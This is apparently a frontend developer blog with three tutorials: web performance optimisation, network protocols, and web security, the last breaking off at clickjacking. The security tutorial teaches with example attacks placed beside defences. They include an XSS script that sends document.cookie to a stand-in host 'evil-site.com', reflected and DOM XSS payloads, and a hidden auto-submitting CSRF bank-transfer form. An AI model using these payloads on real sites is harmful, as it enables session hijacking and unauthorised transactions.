Using CSS Containment

1
2
3
4
5
6
7
8
9
/* Isolate elements from rest of the document */
.widget {
contain: content; /* or layout, paint, size, etc. */
}

/* For isolated subtrees */
.comment-section {
contain: strict;
}

Layer Optimization

1
2
3
4
/* Promote to a separate layer only when needed */
.moving-element {
transform: translateZ(0); /* Creates a new compositor layer */
}

JavaScript Optimization

Bundle Optimization

Code Splitting

1
2
3
4
5
6
7
8
9
10
11
12
13
14
// React code splitting with dynamic import
import React, { lazy, Suspense } from 'react';

const HeavyComponent = lazy(() => import('./HeavyComponent'));

function App() {
return (
<div>
<Suspense fallback={<div>Loading...</div>}>
<HeavyComponent />
</Suspense>
</div>
);
}

Tree Shaking

1
2
3
4
5
6
7
8
9
10
11
12
13
14
// Only used functions will be included in the final bundle

// Modern ES module syntax enables tree shaking
export function used() {
console.log('This function is used');
}

export function unused() {
console.log('This function is never imported, so it will be tree-shaken');
}

// In another file
import { used } from './utils';
used(); // Only this function gets included in the bundle

Optimizing Critical JavaScript

1
2
3
4
5
6
7
8
<!-- Inline critical JavaScript -->
<script>
// Critical initialization code
document.querySelector('.main-content').classList.add('visible');
</script>

<!-- Defer non-critical scripts -->
<script src="non-critical.js" defer></script>

Memory Management

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
// Remove event listeners when no longer needed
function setupElement(element) {
const handleClick = () => {
// Handle click
};

element.addEventListener('click', handleClick);

// Return cleanup function
return () => {
element.removeEventListener('click', handleClick);
};
}

// With React hooks
useEffect(() => {
const element = document.getElementById('my-element');
const handleClick = () => {
// Handle click
};

element.addEventListener('click', handleClick);

// Cleanup function
return () => {
element.removeEventListener('click', handleClick);
};
}, []);

Avoiding Memory Leaks

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
// Bad: Unintended closure retains references
function setupObserver() {
const largeData = getLargeData();

const element = document.getElementById('observed');

const observer = new IntersectionObserver(() => {
// This closure captures largeData, preventing it from being garbage collected
console.log('Element visible', largeData.length);
});

observer.observe(element);
}

// Good: Clean up properly
function setupObserver() {
const element = document.getElementById('observed');

const observer = new IntersectionObserver(() => {
console.log('Element visible');
});

observer.observe(element);

// Return cleanup function
return () => {
observer.disconnect();
};
}

Asset Optimization

Image Optimization

1
2
3
4
5
6
7
8
9
10
11
<!-- Use modern formats -->
<picture>
<source type="image/avif" srcset="image.avif">
<source type="image/webp" srcset="image.webp">
<img
src="image.jpg"
alt="Optimized image"
loading="lazy"
decoding="async"
>
</picture>

Font Optimization

1
2
3
4
5
6
7
8
9
10
11
<!-- Preload critical fonts -->
<link rel="preload" href="/fonts/main.woff2" as="font" type="font/woff2" crossorigin>

<!-- Font display strategies -->
<style>
@font-face {
font-family: 'MyFont';
src: url('/fonts/myfont.woff2') format('woff2');
font-display: swap; /* Use system font until custom font is ready */
}
</style>

CSS Optimization

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<!-- Critical CSS inlined -->
<style>
/* Critical styles for above-the-fold content */
body {
margin: 0;
font-family: system-ui, sans-serif;
}
.hero {
height: 100vh;
background-color: #f5f5f5;
}
</style>

<!-- Non-critical CSS loaded asynchronously -->
<link rel="preload" href="/css/non-critical.css" as="style" onload="this.onload=null;this.rel='stylesheet'">

Framework-Specific Optimizations

React

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
// Use React.memo for expensive components
const ExpensiveComponent = React.memo(({ data }) => {
// Render using data
return <div>{/* ... */}</div>;
});

// Use useMemo for expensive calculations
function DataProcessingComponent({ data }) {
const processedData = useMemo(() => {
return expensiveProcessing(data);
}, [data]);

return <div>{/* Use processedData */}</div>;
}

// Use useCallback for stable callbacks
function ParentComponent() {
const [count, setCount] = useState(0);

const handleClick = useCallback(() => {
// Handle click
}, []); // No dependencies = function reference stays the same

return <ChildComponent onClick={handleClick} />;
}

Vue

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<template>
<div>
<!-- Use v-show instead of v-if for frequently toggled content -->
<div v-show="isVisible">Frequently toggled content</div>

<!-- Keep v-for items keyed -->
<div v-for="item in items" :key="item.id">{{ item.name }}</div>
</div>
</template>

<script>
export default {
// Avoid expensive computations in computed properties
computed: {
filteredItems() {
return this.items.filter(item => item.isActive);
}
},

// Use functional components for simple components
functional: true,
render(h, { props }) {
return h('div', props.text);
}
}
</script>

Angular

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
// Use OnPush change detection
@Component({
selector: 'app-item',
template: `<div>{{ item.name }}</div>`,
changeDetection: ChangeDetectionStrategy.OnPush
})
export class ItemComponent {
@Input() item: Item;
}

// Use trackBy with ngFor
@Component({
selector: 'app-list',
template: `
<div *ngFor="let item of items; trackBy: trackById">
{{ item.name }}
</div>
`
})
export class ListComponent {
@Input() items: Item[];

trackById(index: number, item: Item): number {
return item.id;
}
}

Network Optimization

Caching Strategies

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
// Service Worker with Workbox
workbox.routing.registerRoute(
// Cache CSS files
/\.css$/,
// Use cache but update in the background
new workbox.strategies.StaleWhileRevalidate({
// Use a custom cache for CSS
cacheName: 'css-cache',
})
);

workbox.routing.registerRoute(
// Cache image files
/\.(?:png|jpg|jpeg|svg|gif)$/,
// Use the cache if it's available
new workbox.strategies.CacheFirst({
cacheName: 'image-cache',
plugins: [
new workbox.expiration.Plugin({
// Cache only 50 images
maxEntries: 50,
// Cache for 30 days
maxAgeSeconds: 30 * 24 * 60 * 60,
}),
],
})
);

Resource Hints

1
2
3
4
5
6
7
8
9
10
11
12
<!-- Prefetch likely next page -->
<link rel="prefetch" href="/next-page.html">

<!-- Prerender likely next page -->
<link rel="prerender" href="/almost-certainly-next-page.html">

<!-- Preconnect to origins -->
<link rel="preconnect" href="https://api.example.com">
<link rel="preconnect" href="https://fonts.googleapis.com" crossorigin>

<!-- DNS prefetch (fallback for browsers that don't support preconnect) -->
<link rel="dns-prefetch" href="https://api.example.com">

Compression

1
2
3
4
5
6
7
8
9
10
// Server-side compression (Node.js example with Express)
const express = require('express');
const compression = require('compression');
const app = express();

// Enable compression
app.use(compression());

// Serve static files
app.use(express.static('public'));

Performance Monitoring

Lighthouse

1
2
3
4
5
# Install Lighthouse CLI
npm install -g lighthouse

# Run audit
lighthouse https://example.com --view

Web Vitals Library

1
2
3
4
5
6
7
8
9
10
11
12
13
import { getCLS, getFID, getLCP, getFCP, getTTFB } from 'web-vitals';

function sendToAnalytics({ name, delta, id }) {
// Send metrics to your analytics service
console.log(`Metric: ${name} \nValue: ${delta} \nID: ${id}`);
}

// Measure and report Core Web Vitals
getCLS(sendToAnalytics);
getFID(sendToAnalytics);
getLCP(sendToAnalytics);
getFCP(sendToAnalytics);
getTTFB(sendToAnalytics);

Performance API

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
// Measure custom metrics
performance.mark('start-process');

// Do some work...
processData();

performance.mark('end-process');
performance.measure('process-time', 'start-process', 'end-process');

// Get measurements
const measurements = performance.getEntriesByType('measure');
console.log(measurements);

// Report to analytics
const processTime = measurements[0].duration;
sendToAnalytics('custom-process-time', processTime);

Tooling for Performance

Webpack Optimization

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
// webpack.config.js
module.exports = {
mode: 'production', // Enables optimizations

optimization: {
moduleIds: 'deterministic',
runtimeChunk: 'single',
splitChunks: {
chunks: 'all',
maxInitialRequests: Infinity,
minSize: 0,
cacheGroups: {
vendor: {
test: /[\\/]node_modules[\\/]/,
name(module) {
// Get the package name
const packageName = module.context.match(/[\\/]node_modules[\\/](.*?)([\\/]|$)/)[1];
return `npm.${packageName.replace('@', '')}`;
},
},
},
},
minimizer: [
new TerserPlugin({
terserOptions: {
compress: {
drop_console: true,
},
},
}),
],
},

// Analyze bundle size
plugins: [
new BundleAnalyzerPlugin(),
],
};

Babel Optimization

1
2
3
4
5
6
7
8
9
10
11
// babel.config.js
module.exports = {
presets: [
['@babel/preset-env', {
useBuiltIns: 'usage',
corejs: 3,
// Only include polyfills and transforms needed for target browsers
targets: '> 0.25%, not dead',
}],
],
};

PostCSS Optimization

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
// postcss.config.js
module.exports = {
plugins: [
require('autoprefixer'),
require('cssnano')({
preset: 'advanced',
}),
require('postcss-preset-env')({
stage: 3,
features: {
'nesting-rules': true,
},
}),
],
};

Testing Environment Performance

Simulating Network Conditions

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
// Puppeteer example
const puppeteer = require('puppeteer');

async function measurePerformance() {
const browser = await puppeteer.launch();
const page = await browser.newPage();

// Simulate slow 3G network
await page.emulateNetworkConditions({
offline: false,
latency: 150,
downloadThroughput: 1.5 * 1024 * 1024 / 8,
uploadThroughput: 750 * 1024 / 8,
});

// Measure page load time
const response = await page.goto('https://example.com');
const performanceTiming = JSON.parse(
await page.evaluate(() => JSON.stringify(performance.timing))
);

console.log(`Time to first byte: ${performanceTiming.responseStart - performanceTiming.requestStart}ms`);
console.log(`DOM Content Loaded: ${performanceTiming.domContentLoadedEventEnd - performanceTiming.navigationStart}ms`);
console.log(`Load: ${performanceTiming.loadEventEnd - performanceTiming.navigationStart}ms`);

await browser.close();
}

measurePerformance();

User-Centric Performance Testing

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
// Capturing Core Web Vitals with Puppeteer
const puppeteer = require('puppeteer');

async function measureCoreWebVitals() {
const browser = await puppeteer.launch();
const page = await browser.newPage();

// Inject web-vitals library
await page.evaluateOnNewDocument(() => {
window.vitalsData = {};
import('https://unpkg.com/web-vitals').then(({ getCLS, getFID, getLCP }) => {
getCLS(metric => { window.vitalsData.CLS = metric.value; });
getFID(metric => { window.vitalsData.FID = metric.value; });
getLCP(metric => { window.vitalsData.LCP = metric.value; });
});
});

await page.goto('https://example.com');

// Wait for metrics to be collected (adjust timeout as needed)
await page.waitForFunction(() => {
return window.vitalsData.CLS !== undefined &&
window.vitalsData.FID !== undefined &&
window.vitalsData.LCP !== undefined;
}, { timeout: 10000 });

const vitals = await page.evaluate(() => window.vitalsData);

console.log('Core Web Vitals:');
console.log(`CLS: ${vitals.CLS}`);
console.log(`FID: ${vitals.FID}ms`);
console.log(`LCP: ${vitals.LCP}ms`);

await browser.close();
}

measureCoreWebVitals();

Performance Checklist

  • Optimize Core Web Vitals (LCP, FID, CLS, INP)
  • Minimize JavaScript bundle size
  • Remove unused CSS and JavaScript
  • Optimize images (format, size, compression)
  • Implement proper caching strategy
  • Use resource hints (preload, prefetch, preconnect)
  • Implement code splitting and lazy loading
  • Optimize fonts (preload, font-display)
  • Minimize third-party impact
  • Avoid layout thrashing
  • Implement critical CSS
  • Defer non-critical JavaScript
  • Optimize for mobile devices
  • Set up performance monitoring
  • Use service workers for offline capability
  • Implement server-side rendering or static generation where appropriate
  • Optimize server response time
  • Use HTTP/2 or HTTP/3

Learning Resources

  • Web Vitals - Google’s essential metrics for a healthy site
  • MDN Web Performance
  • Lighthouse Performance Scoring
  • High Performance Web Sites by Steve Souders
  • Web Performance in Action by Jeremy Wagner
  • Performance Calendar - Annual web performance articles
  • WebPageTest - Advanced website performance testing

Performance optimization is an ongoing process, not a one-time task. Regular monitoring, testing, and refining are essential to maintain and improve your application’s performance over time.

  • Web Development
  • JavaScript
  • Performance
  • Core Web Vitals
  • Optimization

show all >>

Network Protocols for Frontend Developers

  2023-06-15
字数统计: 2.3k字   |   阅读时长: 14min

Network Protocols for Frontend Developers

Understanding network protocols is essential for frontend developers to build efficient and secure web applications. This guide covers the key network protocols and concepts relevant to frontend development.

HTTP (Hypertext Transfer Protocol)

HTTP is the foundation of data communication on the web.

HTTP Basics

  • Client-Server Model: Client (browser) sends requests to server, which responds with resources
  • Stateless Protocol: Each request-response pair is independent
  • Text-Based: Messages are human-readable

HTTP Request Structure

1
2
3
4
5
GET /path/to/resource HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
Accept: text/html
Accept-Language: en-US,en;q=0.9

Components:

  1. Request Line: Method, URI, HTTP Version
  2. Headers: Metadata about the request
  3. Body (optional): Data sent to the server

HTTP Response Structure

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
HTTP/1.1 200 OK
Date: Mon, 23 May 2023 22:38:34 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 138
Cache-Control: max-age=3600

<!DOCTYPE html>
<html>
<head>
<title>Example Page</title>
</head>
<body>
<h1>Hello, World!</h1>
</body>
</html>

Components:

  1. Status Line: HTTP Version, Status Code, Reason Phrase
  2. Headers: Metadata about the response
  3. Body (optional): The requested resource

HTTP Methods

Method Purpose Idempotent Safe
GET Retrieve data Yes Yes
POST Submit data No No
PUT Update/Replace data Yes No
DELETE Remove data Yes No
PATCH Partially update data No No
HEAD Get headers only Yes Yes
OPTIONS Get supported methods Yes Yes

HTTP Status Codes

Range Category Examples
1xx Informational 100 Continue, 101 Switching Protocols
2xx Success 200 OK, 201 Created, 204 No Content
3xx Redirection 301 Moved Permanently, 302 Found, 304 Not Modified
4xx Client Error 400 Bad Request, 401 Unauthorized, 404 Not Found
5xx Server Error 500 Internal Server Error, 503 Service Unavailable

HTTP/1.1 vs HTTP/2 vs HTTP/3

HTTP/1.1

  • Text-based protocol
  • One request per connection (head-of-line blocking)
  • Requires multiple TCP connections for parallelism
1
2
3
4
5
6
7
8
9
10
11
// Sequential requests in HTTP/1.1
fetch('/api/data1')
.then(response => response.json())
.then(data => {
// Process data1
return fetch('/api/data2');
})
.then(response => response.json())
.then(data => {
// Process data2
});

HTTP/2

  • Binary protocol
  • Multiplexed streams (multiple requests over single connection)
  • Server push capabilities
  • Header compression
1
2
3
4
5
6
7
8
9
// Concurrent requests benefit from HTTP/2 multiplexing
Promise.all([
fetch('/api/data1').then(response => response.json()),
fetch('/api/data2').then(response => response.json()),
fetch('/api/data3').then(response => response.json())
])
.then(([data1, data2, data3]) => {
// Process all data at once
});

HTTP/3

  • Uses QUIC transport protocol instead of TCP
  • Improved performance on unreliable networks
  • Reduced connection establishment time
  • Better multiplexing without head-of-line blocking

HTTPS (HTTP Secure)

HTTPS is HTTP over TLS/SSL encryption, providing:

  • Data encryption
  • Server authentication
  • Message integrity

How HTTPS Works

  1. TLS Handshake: Client and server establish encryption parameters
  2. Certificate Validation: Browser verifies server’s identity
  3. Secure Communication: Data is encrypted using session keys

Certificates and Certificate Authorities (CAs)

  • Digital certificates establish trust in a website
  • CAs validate and issue certificates
  • Browsers maintain a list of trusted CAs

HTTPS Best Practices

  • Enforce HTTPS across your entire site
  • Use HTTP Strict Transport Security (HSTS)
  • Keep certificates up to date
  • Use secure cookies
1
2
<!-- Content Security Policy for HTTPS enforcement -->
<meta http-equiv="Content-Security-Policy" content="upgrade-insecure-requests">

Web Caching

Caching improves performance by storing copies of resources.

Browser Cache

1
2
3
Cache-Control: max-age=3600, must-revalidate
ETag: "33a64df551425fcc55e4d42a148795d9f25f89d4"
Last-Modified: Wed, 21 Oct 2015 07:28:00 GMT
  • Controlled via HTTP headers
  • Caches resources locally
  • Reduces network requests and latency

Cache-Control Header Options

  • max-age: Duration in seconds the resource is fresh
  • no-cache: Revalidate before using cached copy
  • no-store: Don’t cache at all
  • public: Any cache can store the response
  • private: Only browser can cache the response

ETag and Conditional Requests

1
2
3
4
5
6
7
8
9
10
11
12
13
// Browser automatically uses ETag with fetch
fetch('/api/data', {
headers: {
'If-None-Match': 'W/"previousEtagValue"'
}
})
.then(response => {
if (response.status === 304) {
// Use cached data
return getCachedData();
}
return response.json();
});
  • ETag: Unique identifier for resource version
  • If-None-Match: Sends previous ETag to check if resource changed
  • 304 Not Modified: Server responds if resource hasn’t changed

RESTful API

REST (Representational State Transfer) is an architectural style for designing networked applications.

Key Principles

  • Resource-Based: URIs identify resources
  • Stateless: No client context stored on server
  • Uniform Interface: Consistent resource handling
  • CRUD Operations: Map to HTTP methods

RESTful Endpoint Design

1
2
3
4
5
6
7
GET /users                 # Get all users
GET /users/123 # Get user with ID 123
POST /users # Create new user
PUT /users/123 # Update user 123
PATCH /users/123 # Partially update user 123
DELETE /users/123 # Delete user 123
GET /users/123/orders # Get orders for user 123

Example RESTful API Call

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
// Creating a new user
fetch('https://api.example.com/users', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
'Authorization': 'Bearer token123'
},
body: JSON.stringify({
name: 'John Doe',
email: 'john@example.com'
})
})
.then(response => {
if (!response.ok) {
throw new Error(`HTTP error ${response.status}`);
}
return response.json();
})
.then(data => console.log('User created:', data))
.catch(error => console.error('Error:', error));

Cross-Origin Resource Sharing (CORS)

CORS is a security feature that restricts web pages from making requests to a different domain.

Same-Origin Policy

Browsers restrict cross-origin HTTP requests as a security measure.

CORS Headers

1
2
3
4
5
Access-Control-Allow-Origin: https://example.com
Access-Control-Allow-Methods: GET, POST, PUT
Access-Control-Allow-Headers: Content-Type, Authorization
Access-Control-Allow-Credentials: true
Access-Control-Max-Age: 3600

Simple vs Preflight Requests

Simple Requests meet all these conditions:

  • Uses GET, HEAD, or POST
  • Only uses CORS-safe headers
  • Content-Type is application/x-www-form-urlencoded, multipart/form-data, or text/plain

Preflight Requests:

  • Browser sends OPTIONS request before actual request
  • Server must respond with appropriate CORS headers
  • Actual request proceeds only if preflight succeeds
1
2
3
4
5
6
7
8
9
// This will trigger a preflight request due to custom header
fetch('https://api.example.com/data', {
method: 'POST',
headers: {
'Content-Type': 'application/json', // Non-simple content type
'X-Custom-Header': 'value' // Custom header
},
body: JSON.stringify({ key: 'value' })
});

CORS in Frontend Development

1
2
3
4
5
6
7
8
9
10
11
12
13
14
// Using mode: 'cors' explicitly (default for fetch)
fetch('https://api.example.com/data', {
mode: 'cors',
credentials: 'include' // Send cookies cross-origin
});

// Using proxy in development
// In package.json for React apps
{
"proxy": "https://api.example.com"
}

// Then in code
fetch('/data'); // Requests go to proxy

WebSockets

WebSockets provide full-duplex communication channels over a single TCP connection.

Key Characteristics

  • Persistent Connection: Stays open until closed
  • Bi-directional: Server and client can send messages
  • Low Latency: Less overhead than HTTP
  • Cross-Origin Compatible: With proper CORS headers

WebSocket Handshake

Client initiates with HTTP upgrade request:

1
2
3
4
5
6
GET /chat HTTP/1.1
Host: server.example.com
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==
Sec-WebSocket-Version: 13

Using WebSockets in JavaScript

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
// Creating a WebSocket connection
const socket = new WebSocket('wss://echo.websocket.org');

// Connection opened
socket.addEventListener('open', (event) => {
console.log('Connected to WebSocket server');
socket.send('Hello Server!');
});

// Listen for messages
socket.addEventListener('message', (event) => {
console.log('Message from server:', event.data);
});

// Listen for errors
socket.addEventListener('error', (event) => {
console.error('WebSocket error:', event);
});

// Connection closed
socket.addEventListener('close', (event) => {
console.log('Connection closed', event.code, event.reason);
});

// Close the connection when done
function closeConnection() {
socket.close(1000, "Deliberately closed");
}

WebSocket vs HTTP

Feature WebSocket HTTP/REST
Connection Persistent New connection per request
Communication Bi-directional Request-response
Overhead Low after handshake Headers with each request
Use Case Real-time updates CRUD operations

Server-Sent Events (SSE)

SSE allows servers to push updates to the browser.

Key Features

  • Unidirectional: Server to client only
  • Auto-reconnection: Built-in reconnection
  • Text-based: Uses HTTP for transport
  • Simpler than WebSockets: For one-way communication

Using Server-Sent Events

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
// Creating an EventSource
const eventSource = new EventSource('/events');

// Listen for all messages
eventSource.onmessage = (event) => {
console.log('New message:', event.data);
};

// Listen for specific event types
eventSource.addEventListener('update', (event) => {
console.log('Update event:', event.data);
});

// Error handling
eventSource.onerror = (error) => {
console.error('EventSource error:', error);
if (eventSource.readyState === EventSource.CLOSED) {
console.log('Connection closed');
}
};

// Close the connection when done
function closeSSE() {
eventSource.close();
}

GraphQL

GraphQL is a query language for APIs and a runtime for fulfilling those queries.

Key Concepts

  • Single Endpoint: One endpoint for all requests
  • Request Exactly What You Need: No over/under-fetching
  • Strongly Typed: Schema defines available data
  • Introspective: Query schema for information

Basic GraphQL Query

1
2
3
4
5
6
7
8
9
10
11
query {
user(id: "123") {
id
name
email
posts {
title
content
}
}
}

Using GraphQL with Fetch

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
// GraphQL query with variables
const query = `
query GetUser($id: ID!) {
user(id: $id) {
id
name
email
}
}
`;

fetch('https://api.example.com/graphql', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
'Authorization': 'Bearer token123'
},
body: JSON.stringify({
query,
variables: { id: '123' }
})
})
.then(res => res.json())
.then(result => {
console.log(result.data.user);
});

DNS (Domain Name System)

DNS translates domain names to IP addresses.

DNS Resolution Process

  1. Browser checks its cache
  2. OS checks its cache
  3. Router checks its cache
  4. ISP’s DNS server is queried
  5. If not found, query goes to root servers
  6. Root server directs to TLD server
  7. TLD server directs to authoritative nameserver
  8. IP address is returned

DNS Record Types

  • A Record: Maps domain to IPv4 address
  • AAAA Record: Maps domain to IPv6 address
  • CNAME: Canonical name record (alias)
  • MX: Mail exchange record
  • TXT: Text record for various purposes
  • NS: Nameserver record

DNS and Web Performance

  • DNS Prefetching: Pre-resolve domains user might visit
1
2
<link rel="dns-prefetch" href="https://fonts.googleapis.com">
<link rel="dns-prefetch" href="https://analytics.example.com">

CDN (Content Delivery Network)

CDNs distribute content to servers worldwide to reduce latency.

How CDNs Work

  1. User requests content
  2. Request routed to nearest CDN edge server
  3. Edge server checks cache
  4. If found, content is served from cache
  5. If not found, CDN fetches from origin server

Benefits of CDNs

  • Reduced latency
  • Decreased server load
  • Improved availability
  • DDoS protection

Using CDNs for Frontend Resources

1
2
3
4
5
<!-- Loading jQuery from a CDN -->
<script src="https://code.jquery.com/jquery-3.6.0.min.js"></script>

<!-- Using a CSS framework from a CDN -->
<link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/bootstrap@5.1.3/dist/css/bootstrap.min.css">

CDN Best Practices

  • Use multiple CDNs for redundancy
  • Set appropriate cache headers
  • Use subresource integrity (SRI)
  • Consider CDN fallbacks
1
2
3
4
5
6
7
8
9
10
11
<!-- Using SRI with a CDN resource -->
<script
src="https://cdn.example.com/library.js"
integrity="sha384-oqVuAfXRKap7fdgcCY5uykM6+R9GqQ8K/uxy9rx7HNQlGYl1kPzQho1wx4JwY8wC"
crossorigin="anonymous">
</script>

<!-- With local fallback -->
<script>
window.jQuery || document.write('<script src="/js/jquery.min.js"><\/script>');
</script>

Network Performance Optimization

Reducing Request Count

  • Bundle assets
  • Use CSS sprites
  • Inline critical CSS/JS
  • Use icon fonts or SVG

Reducing File Size

  • Minify CSS, JavaScript, HTML
  • Compress images
  • Use HTTP compression (gzip, Brotli)
  • Use modern image formats (WebP, AVIF)

Connection Optimization

  • Use HTTP/2 or HTTP/3
  • Enable keep-alive
  • DNS prefetching
  • Preconnect to critical origins
1
2
3
<!-- Preconnect to origins -->
<link rel="preconnect" href="https://example.com">
<link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>

Resource Hints

1
2
3
4
5
6
7
8
<!-- Prefetch: low-priority fetch for future navigation -->
<link rel="prefetch" href="/page-that-user-will-visit-next.html">

<!-- Preload: high-priority fetch for current page -->
<link rel="preload" href="/fonts/font.woff2" as="font" type="font/woff2" crossorigin>

<!-- Prerender: fetch and render in background -->
<link rel="prerender" href="/likely-next-page.html">

Debugging Network Issues

Browser DevTools

  • Network Panel: Monitor requests, timing, headers
  • Performance Panel: Analyze loading performance
  • Application Panel: Inspect storage, cache, service workers

Common Network Issues

  1. CORS Errors: Missing or incorrect headers
  2. Mixed Content: HTTP resources on HTTPS page
  3. Blocked Requests: Browser security, extensions, CSP
  4. Slow Performance: Large payloads, many requests
  5. Certificate Errors: Invalid or expired certificates

Network Testing Tools

  • WebPageTest: Detailed performance analysis
  • Lighthouse: Performance, accessibility, SEO audits
  • Postman/Insomnia: API testing
  • Wireshark: Deep packet inspection
  • Ping/Traceroute: Basic connectivity testing

Learning Resources

  • MDN HTTP Documentation
  • Google Web Fundamentals: Networking
  • High Performance Browser Networking by Ilya Grigorik
  • HTTP/3 Explained by Daniel Stenberg
  • Web.dev: Network Reliability
  • Cloudflare Learning Center

Understanding these network protocols and concepts is essential for building fast, reliable, and secure web applications. As a frontend developer, this knowledge helps you make informed decisions about how to structure your applications and optimize network performance.

  • Web Development
  • HTTP
  • HTTPS
  • WebSockets
  • REST
  • Network

show all >>

Web Security

  2023-06-14
字数统计: 1.8k字   |   阅读时长: 11min

Web Security

Web security is a critical aspect of frontend development. Understanding security vulnerabilities and best practices helps protect users and applications from various attacks. This guide covers key security concepts for frontend developers.

Cross-Site Scripting (XSS)

XSS attacks involve injecting malicious scripts into web pages viewed by other users. These scripts execute in the victim’s browser and can steal cookies, session tokens, or personal information.

Types of XSS Attacks

1. Stored (Persistent) XSS

Malicious script is permanently stored on the target server (e.g., in a database):

  1. Attacker posts a comment with malicious JavaScript on a blog
  2. Server stores the comment in its database
  3. When other users view the page with the comment, the script executes in their browsers
1
2
3
4
5
6
7
8
9
10
<!-- User-generated content with malicious script -->
<div class="comment">
Great article!
<script>
fetch('https://evil-site.com/steal', {
method: 'POST',
body: JSON.stringify({ cookies: document.cookie })
});
</script>
</div>

2. Reflected XSS

Script is reflected off a web server but not stored:

  1. Attacker crafts a URL with malicious code
  2. Victim clicks the link
  3. Server includes the malicious string in the response
  4. Script executes in the victim’s browser
1
https://example.com/search?q=<script>alert(document.cookie)</script>

3. DOM-based XSS

Vulnerability exists in client-side code rather than server-side:

1
2
3
4
// Unsafe code
document.getElementById('output').innerHTML = location.hash.substring(1);

// If the URL has a hash like #<img src=x onerror="alert(1)">, the script will execute

XSS Prevention

1. Output Encoding/Escaping

Always encode user-generated content before inserting it into the DOM:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
// Instead of:
element.innerHTML = userInput;

// Do this:
element.textContent = userInput; // Automatically escapes HTML

// Or if using innerHTML, sanitize the input:
function escapeHTML(str) {
return str.replace(/[&<>"']/g, function(match) {
return {
'&': '&amp;',
'<': '&lt;',
'>': '&gt;',
'"': '&quot;',
"'": '&#39;'
}[match];
});
}
element.innerHTML = escapeHTML(userInput);

2. Content Security Policy (CSP)

CSP is an HTTP header that restricts which resources can be loaded and executed:

1
Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted.com; object-src 'none';

The above policy allows scripts only from the same origin and trusted.com, blocks all plugins.

3. Sanitization Libraries

Use established libraries to clean user input:

1
2
3
4
5
// Using DOMPurify
import DOMPurify from 'dompurify';

const clean = DOMPurify.sanitize(userInput);
element.innerHTML = clean;

4. Frameworks with Built-in Protection

Modern frameworks like React automatically escape values in JSX:

1
2
3
4
5
6
7
8
9
// In React, this is safe:
function Comment({ text }) {
return <div>{text}</div>; // text is automatically escaped
}

// But this is dangerous:
function Comment({ text }) {
return <div dangerouslySetInnerHTML={{ __html: text }} />; // Only use with sanitized content
}

Cross-Site Request Forgery (CSRF)

CSRF tricks users into performing actions on a website where they’re authenticated, without their knowledge.

CSRF Attack Example

  1. User logs into bank.com and receives a session cookie
  2. Without logging out, user visits malicious-site.com
  3. Malicious site contains a form or script that submits to bank.com/transfer
  4. The browser automatically includes the bank.com cookies with the request
  5. The bank processes the transfer, believing it’s legitimate
1
2
3
4
5
6
7
<!-- On malicious-site.com -->
<body onload="document.forms[0].submit()">
<form action="https://bank.com/transfer" method="POST">
<input type="hidden" name="recipient" value="attacker" />
<input type="hidden" name="amount" value="1000" />
</form>
</body>

CSRF Prevention

1. CSRF Tokens

Include a unique, unpredictable token with each form submission:

1
2
3
4
<form action="/transfer" method="post">
<input type="hidden" name="csrf_token" value="randomToken123" />
<!-- other form fields -->
</form>

Server-side code must:

  1. Generate the token and store it in the user’s session
  2. Validate the token with each request
  3. Reject the request if the token is missing or invalid

2. SameSite Cookie Attribute

Restricts when cookies are sent with cross-site requests:

1
Set-Cookie: sessionid=abc123; SameSite=Strict; Secure; HttpOnly

SameSite values:

  • Strict: Cookies only sent in first-party context
  • Lax: Cookies sent with top-level navigations and safe HTTP methods
  • None: Cookies sent in all contexts (requires Secure flag)

3. Custom Headers

AJAX libraries like axios or fetch can automatically include custom headers:

1
2
3
4
5
6
7
8
9
// Browsers enforce Same-Origin Policy for custom headers in XMLHttpRequest/fetch
fetch('/api/transfer', {
method: 'POST',
headers: {
'X-Requested-With': 'XMLHttpRequest',
// Server should verify this header exists
},
body: formData
});

4. Double Submit Cookie

Set a cookie and include the same value in request parameters:

1
2
3
4
5
6
7
8
9
10
11
// Set a cookie
document.cookie = "doubleCsrfToken=abc123; Secure; SameSite=Lax";

// Include the same token in the request body or URL
fetch('/api/action', {
method: 'POST',
body: JSON.stringify({
csrfToken: 'abc123',
// other data
})
});

The server should verify that the cookie value matches the request parameter.

Clickjacking

Clickjacking (UI redress attack) tricks users into clicking on something different from what they perceive.

Prevention

X-Frame-Options Header

1
X-Frame-Options: DENY

Options:

  • DENY: Page cannot be displayed in a frame
  • SAMEORIGIN: Page can only be displayed in a frame on the same origin
